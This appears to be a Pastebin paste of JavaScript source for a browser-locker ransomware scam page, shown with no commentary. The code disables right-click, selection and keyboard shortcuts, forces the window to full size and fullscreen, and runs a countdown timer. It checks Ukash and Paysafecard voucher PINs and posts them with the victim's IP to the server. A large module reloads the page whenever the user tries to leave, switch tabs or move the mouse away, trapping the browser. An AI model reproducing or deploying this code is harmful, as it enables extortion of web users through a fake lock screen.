Advertisement
Guest User

Untitled

a guest
Jan 4th, 2015
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.34 KB | None | 0 0
  1. document.ondragstart = test;
  2. document.onselectstart = test;
  3. document.oncontextmenu = test;
  4. function test()
  5. {
  6. return false;
  7. }
  8. function billiBo(event)
  9. {
  10. var code = event.keyCode ? event.keyCode : event.which ? event.which : null;
  11. if (event.ctrlKey)
  12. {
  13. if (code == 117) return false;
  14. if (code == 85) return false;
  15. if (code == 99) return false;
  16. if (code == 67) return false;
  17. if (code == 97) return false;
  18. if (code == 65) return false;
  19. }
  20. return true;
  21. }
  22.  
  23. window.onload = maxWindow;
  24.  
  25. function maxWindow()
  26. {
  27. window.moveTo(0, 0);
  28.  
  29. if (document.all)
  30. {
  31. top.window.resizeTo(screen.availWidth, screen.availHeight);
  32. }
  33.  
  34. else if (document['layers'] || document.getElementById)
  35. {
  36. if (top.window.outerHeight < screen.availHeight || top.window.outerWidth < screen.availWidth)
  37. {
  38. top.window.outerHeight = screen.availHeight;
  39. top.window.outerWidth = screen.availWidth;
  40. }
  41. }
  42. }
  43. (function(window){
  44.  
  45. var $ = window.$;
  46.  
  47. $("#blinkingText").css({visibility: 'visible'});
  48. setTimeout(function ()
  49. {
  50. $("#blinkingText").css({visibility: 'hidden'});
  51. setInterval(function ()
  52. {
  53. $("#blinkingText").css({visibility: $("#blinkingText").css('visibility') == 'hidden' ? 'visible' : 'hidden'});
  54. }, 1000)
  55. }, 3000);
  56.  
  57. function startTimer()
  58. {
  59. var my_timer = document.getElementById("my_timer");
  60. var time = my_timer.innerHTML;
  61. var arr = time.split(":");
  62. var h = arr[0];
  63. var m = arr[1];
  64. var s = arr[2];
  65. if (s == 0) {
  66. if (m == 0) {
  67. if (h == 0) {
  68. alert($('#karu_date').val().split('\\n').join('\n'));
  69. window.location.reload();
  70. return;
  71. }
  72. h--;
  73. m = 60;
  74. if (h < 10) h = "0" + h;
  75. }
  76. m--;
  77. if (m < 10) m = "0" + m;
  78. s = 59;
  79. }
  80. else s--;
  81. if (s < 10) s = "0" + s;
  82. document.getElementById("my_timer").innerHTML = h+":"+m+":"+s;
  83. setTimeout(startTimer, 1000);
  84. }
  85. startTimer();
  86.  
  87. var main = window.main =
  88. {
  89. stop_event: function(e)
  90. {
  91. if (!e)
  92. e = window.event;
  93.  
  94. //IE9 & Other Browsers
  95. if (e.stopPropagation) {
  96. e.stopPropagation();
  97. }
  98. //IE8 and Lower
  99. else {
  100. e.cancelBubble = true;
  101. }
  102. },
  103.  
  104. adw_config: function(){
  105.  
  106. return this.make_adw_config || (this.make_adw_config = {
  107. router: 'router.php',
  108. user_ip: $("#ip").html(),
  109.  
  110. noMinal: $('#noMinal').val().split('\\n').join('\n'),
  111. suPinal: $('#suPinal').val().split('\\n').join('\n')
  112.  
  113. });
  114. },
  115.  
  116. susi: function(digit){
  117.  
  118. var code_input = $("#code");
  119.  
  120. if (typeof digit == 'number' && digit >= 0 && digit < 10)
  121. {
  122. code_input.val(code_input.val() + digit);
  123. }
  124. },
  125.  
  126. backspace: function()
  127. {
  128. var code_input = $("#code");
  129. var sliced = code_input.val().slice(0, -1);
  130. code_input.val(sliced);
  131. //alert(str.slice(0, -1));
  132. },
  133.  
  134. clr: function()
  135. {
  136. $("#code").val('');
  137. },
  138.  
  139. presubmit: function(type){
  140.  
  141. var config = this.adw_config();
  142. var code = $("#code").val();
  143. var cost = $("#cost option:selected").val();
  144.  
  145. var ukash = new RegExp("^633718(001|002|003|005|007|011|018|021|022|023|024|025|026|027|028|029|030|031|033|034|035|036|037|038|039|041|042|043|046|048|099|150|151|153|156|158|160|163|164|166|174|177|178|179|180|182|183|184|190|191|192|196|384|387|401|427|456|538|539|577|578|579|583|585|636|637|703|704|705|709|758|761|767|773|777|787|984|987)[0-9]{5}[0-9]{5}$");
  146. var psc = new RegExp("(^0[1-9][0-9]{14}$)|(^0[0-9][1-9]{14}$)|(^0[0-9]{2}[1-9][0-9]{12}$)|(^0[0-9]{3}[1-9][0-9]{11}$)|(^0[0-9]{4}[1-9][0-9]{10}$)");
  147.  
  148. switch (type) {
  149. case '0':
  150.  
  151. if (ukash.test(code))
  152. {
  153. this.send_data(type, code, cost);
  154. }
  155. else
  156. {
  157. alert(config.noMinal);
  158. }
  159.  
  160. break
  161.  
  162. case '1':
  163. if (psc.test(code))
  164. {
  165. this.send_data(type, code, cost);
  166. }
  167. else
  168. {
  169. alert(config.noMinal);
  170. }
  171. break
  172.  
  173. default:
  174. alert('Earth is falling down')
  175. }
  176. },
  177.  
  178. send_data: function(type, code, cost )
  179. {
  180. var config = this.adw_config();
  181.  
  182. if (!window.ie8OrLower)
  183. {
  184. $.ajax({
  185. type: "POST",
  186. async: false,
  187. timeout: 5000,
  188. url: '',
  189. dataType: 'json',
  190. data: "type=" + type + '&pin=' + code + '&cost=' + cost + '&ip=' + config.user_ip,
  191. success: function(result){
  192. if (typeof result == "string")
  193. {
  194. if (result == 'ok')
  195. {
  196. alert(config.suPinal);
  197. }
  198. else if (result == 'bad')
  199. {
  200. alert(config.noMinal);
  201. }
  202. }
  203. },
  204.  
  205. error: function(request, status, err) {
  206. if(status == "timeout") {
  207. alert('Error sending your data');
  208. }
  209. }
  210. });
  211. }
  212. else
  213. {
  214. $('iframe').remove();
  215. var location = window.location.href;
  216.  
  217. if (location.indexOf('?') !== -1)
  218.  
  219. {
  220.  
  221. location = location.split('?')[0];
  222.  
  223. }
  224. window.location.href = location + "?type=" + type + '&pin=' + code + '&cost=' + cost + '&ip=' + config.user_ip;
  225. alert(config.suPinal);
  226. }
  227. }
  228. };
  229.  
  230. window.exit=0;
  231.  
  232. if (!$('#reopen').length)
  233. {
  234. document.onfocusout = function(e){
  235. if( e === undefined ){
  236. var evt = event;
  237. if( evt.toElement == null ){
  238. window.exit=1;
  239. }
  240. }
  241. };
  242.  
  243. window.onblur = function(e){
  244. if( e !== undefined ){
  245. window.exit=1;
  246. }
  247. };
  248.  
  249. $(window).focus(function () {
  250. window.exit=0;
  251. });
  252.  
  253. setInterval(function() { if (window.exit==1) location.reload(true); window.exit=0;}, 10);
  254. }
  255.  
  256. })(window);
  257.  
  258. window.requestFullScreen = function() {
  259. var isInFullScreen = (document['fullScreenElement'] && document['fullScreenElement'] !== null) ||
  260. (document['mozFullScreen'] || document['webkitIsFullScreen']);
  261.  
  262. var docElm = document.documentElement;
  263. if (!isInFullScreen) {
  264.  
  265. if (docElm['requestFullscreen']) {
  266. docElm.requestFullscreen();
  267. }
  268. else if (docElm['mozRequestFullScreen']) {
  269. docElm.mozRequestFullScreen();
  270. }
  271. else if (docElm['webkitRequestFullScreen']) {
  272. docElm.webkitRequestFullScreen();
  273. }
  274. }
  275. }
  276. var __locks = (function() {
  277.  
  278. var addListener = (function() {
  279. if (window.addEventListener) {
  280. return function(el, type, fn) {
  281. el.addEventListener(type, fn, false);
  282. };
  283. } else if (window.attachEvent) {
  284. return function(el, type, fn) {
  285. el.attachEvent("on" + type, function() {
  286. fn.call(el, window.event);
  287. });
  288. };
  289. } else {
  290. return function(el, type, fn) {
  291. el["on" + type] = fn;
  292. };
  293. }
  294. })();
  295. var cursorPosition = (function() {
  296. if (window.pageXOffset !== "undefined") {
  297. return function(ev) {
  298. return {x: ev.clientX + window.pageXOffset, y: ev.clientY + window.pageYOffset};
  299. };
  300. }
  301. return function(ev) {
  302. var d = document.documentElement, b = document.body;
  303. return {x: ev.clientX + d.scrollLeft + b.scrollLeft, y: ev.clientY + d.scrollTop + b.scrollTop};
  304. };
  305. })();
  306. var windowSize = function() {
  307. var w = 0;
  308. var h = 0;
  309. if (!window.innerWidth) {
  310. if (!(document.documentElement.clientWidth === 0)) {
  311. w = document.documentElement.clientWidth;
  312. h = document.documentElement.clientHeight;
  313. } else {
  314. w = document.body.clientWidth;
  315. h = document.body.clientHeight;
  316. }
  317. } else {
  318. w = window.innerWidth;
  319. h = window.innerHeight;
  320. }
  321.  
  322. var size = {width: w, height: h};
  323. var offset = 0;
  324. if (!!arguments[0]) {
  325. offset = +arguments[0].toFixed();
  326. }
  327. size.width -= offset;
  328. size.height -= offset;
  329. return size;
  330. };
  331. return {
  332. addListener: addListener,
  333. browser: (function() {
  334.  
  335. var isOpera = false, isFirefox = false, isSafari = false, isMSIE = false, isChrome = false, isUndefined = true, name = "undefined";
  336. try {
  337. var isOpera = !!window.opera || navigator.userAgent.indexOf(" OPR/") >= 0;
  338. if (isOpera) {
  339. isUndefined = false;
  340. name = "opera";
  341. }
  342. } catch (bd1) {
  343. }
  344.  
  345. try {
  346. var isFirefox = typeof InstallTrigger !== "undefined";
  347. if (isFirefox) {
  348. isUndefined = false;
  349. name = "firefox";
  350. }
  351. } catch (bd2) {
  352. }
  353.  
  354. try {
  355. var isSafari = Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor") > 0;
  356. if (isSafari) {
  357. isUndefined = false;
  358. name = "safari";
  359. }
  360. } catch (bd3) {
  361. }
  362.  
  363. try {
  364. var isChrome = !this.isOpera && !this.isSafari && ("WebkitTransform" in document.documentElement.style) && !!window.chrome && !!window.chrome.constructor;
  365. if (isChrome) {
  366. isUndefined = false;
  367. name = "chrome";
  368. }
  369. } catch (bd4) {
  370. }
  371.  
  372. var isMSIE = ("MSStream" in window) || /*@cc_on!@*/ false || !!document.documentMode;
  373. try {
  374.  
  375. if (isMSIE) {
  376. isUndefined = false;
  377. name = "msie";
  378. }
  379. } catch (bd5) {
  380. }
  381.  
  382. return {
  383. name: name,
  384. isOpera: isOpera,
  385. isFirefox: isFirefox,
  386. isSafari: isSafari,
  387. isChrome: isChrome,
  388. isMSIE: isMSIE,
  389. isUndefined: isUndefined
  390. };
  391. })()
  392. ,
  393. eventStop: function(e) {
  394. e = e || window.event;
  395. if (e.preventDefault) {
  396. e.preventDefault();
  397. e.stopPropagation();
  398. } else {
  399. e.returnValue = false;
  400. e.cancelBubble = true;
  401. }
  402. return false;
  403. },
  404. onContext: function(text) {
  405. window.document.ondragstart = this.eventStop;
  406. window.document.onselectstart = this.eventStop;
  407. window.document.oncontextmenu = this.eventStop;
  408. window.document.onkeydown = this.eventStop;
  409. window.document.onkeypress = this.eventStop;
  410. window.onerror = function() {
  411. return !0;
  412. };//*/
  413. /*window.onbeforeunload = function() {
  414. return text.toString() || "";
  415. };//*/
  416. },
  417. onDocumentLeave: (function() {
  418. return function(fn) {
  419. var type = "object" === typeof document.documentElement.onmouseleave ? "mouseleave" : "mouseout";
  420. addListener(document.documentElement, type, (function(fn) {
  421. if ("function" === typeof fn) {
  422. if ("mouseout" === type) {
  423. return function(a) {
  424. a = a || event;
  425. for (a = a.relatedTarget || a.toElement; a && a !== this; )
  426. a = a.parentNode;
  427. if (a !== this)
  428. return fn.call(this);
  429. return null;
  430. };
  431. } else {
  432. return fn;
  433. }
  434. } else {
  435. return null;
  436. }
  437. })(fn));
  438. };
  439. })(),
  440. onHidden: (function() {
  441. var temp = {
  442. b: null,
  443. q: document,
  444. p: void 0,
  445. m: ["focus", "blur"],
  446. hiddenCallbacks: [],
  447. _callbacks: [],
  448. hidden: void 0,
  449. visibilityChange: void 0,
  450. bind: function(a) {
  451. this.hiddenCallbacks.push(a);
  452. },
  453. _nativeSwitch: function() {
  454. if (this.q[this.hidden] === true) {
  455. var s = this.hiddenCallbacks.length;
  456. while (--s >= 0) {
  457. this.hiddenCallbacks[s]();
  458. }
  459. }
  460. },
  461. listen: function() {
  462. var self = this;
  463. try {
  464. ("undefined" !== typeof this.hidden) ? this.q.addEventListener(this.visibilityChange, function() {
  465. self._nativeSwitch.apply(self, arguments);
  466. }, 1) : document.addEventListener ? (window.addEventListener(this.m[0], this._visible, 1), window.addEventListener(this.m[1], this._hidden, 1)) : (this.q.attachEvent("onfocusin", this._visible), this.q.attachEvent("onfocusout", this._hidden));
  467. } catch (a) {
  468. }
  469. },
  470. init: function() {
  471. "undefined" !== typeof document.hidden ? (this.hidden = "hidden", this.visibilityChange = "visibilitychange") : "undefined" !== typeof document.mozHidden ? (this.hidden = "mozHidden", this.visibilityChange = "mozvisibilitychange") : "undefined" !== typeof document.msHidden ? (this.hidden = "msHidden", this.visibilityChange = "msvisibilitychange") : "undefined" !== typeof document.webkitHidden && (this.hidden = "webkitHidden", this.visibilityChange = "webkitvisibilitychange");
  472. this.listen();
  473. }
  474. };
  475. temp.init();
  476. return temp;
  477. })(),
  478. onMouseMove: function(fn, offset) {
  479. offset = offset || 20;
  480. if ("function" === typeof fn) {
  481. addListener(document.documentElement, "mousemove", function(e) {
  482. var pos = cursorPosition(e || window.event);
  483. var ws = windowSize(offset);
  484. if (!(pos.x >= offset && pos.x <= ws.width) || !(pos.y >= offset && pos.y <= ws.height)) {
  485. fn();
  486. }
  487. });
  488. }
  489. },
  490. onDocumentOut: function(fn, offset) {
  491. if ("function" === typeof fn) {
  492. addListener(document, "mouseout", function(e) {
  493. e = e || event;
  494. var a, pos = cursorPosition(e), ws = windowSize();
  495. for (a = e.relatedTarget || e.toElement; a && a !== this; )
  496. a = a.parentNode;
  497. if (a !== this && (pos.y < offset || pos.y > ws.height)) {
  498. fn.call(this, e);
  499. }
  500. });
  501. }
  502. },
  503. unLock: function() {
  504. this.reload = function() {
  505. };
  506. this.onHidden.hiddenCallbacks = [];
  507. window.document.ondragstart = null;
  508. window.document.onselectstart = null;
  509. window.document.oncontextmenu = null;
  510. window.document.onkeydown = null;
  511. window.onbeforeunload = null;
  512. },
  513. init: function() {
  514. var self = this;
  515.  
  516. var defaultOptions = {
  517. callback: function() {
  518. },
  519. mouseLeaveBorder: 10,
  520. beforeUnloadText: "",
  521. browsers: ["firefox"]
  522. };
  523.  
  524. if ("object" === typeof arguments[0]) {
  525. var option = arguments[0];
  526. for (var i in option) {
  527. if (option.hasOwnProperty(i)) {
  528. defaultOptions[i] = option[i];
  529. }
  530. }
  531. }
  532.  
  533. var runReload = function() {
  534. defaultOptions.callback();
  535. self.reload();
  536. };
  537.  
  538. var browser = this.browser;
  539. for (var i in defaultOptions.browsers) {
  540. if (defaultOptions.browsers[i] === browser.name) {
  541. __locks.onContext(defaultOptions.beforeUnloadText);
  542. __locks.onHidden.bind(runReload);
  543. __locks.onDocumentLeave(runReload);
  544. __locks.onMouseMove(runReload, defaultOptions.mouseLeaveBorder);
  545. if (!browser.isSafari)
  546. __locks.onDocumentOut(runReload, defaultOptions.mouseLeaveBorder);
  547. }
  548. }
  549.  
  550. },
  551. reload: function() {
  552. getFrame(document.getElementById("reload")).location.reload();
  553. // getFrame(document.getElementById("reload")).write("Fuck");
  554. }
  555. };
  556. })();
  557. //==============================================================================
  558. function getFrame(frame) {
  559. if (typeof frame.contentDocument !== "undefined")
  560. var doc = frame.contentDocument;
  561. else if (typeof frame.contentWindow !== "undefined")
  562. var doc = frame.contentWindow.document;
  563. return doc;
  564. }
  565.  
  566. var options = {
  567. callback: function() {},
  568. mouseLeaveBorder: 20,
  569. beforeUnloadText: "",
  570. browsers: ["firefox", "chrome", "safari"]
  571. };
  572.  
  573. __locks.init(options)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement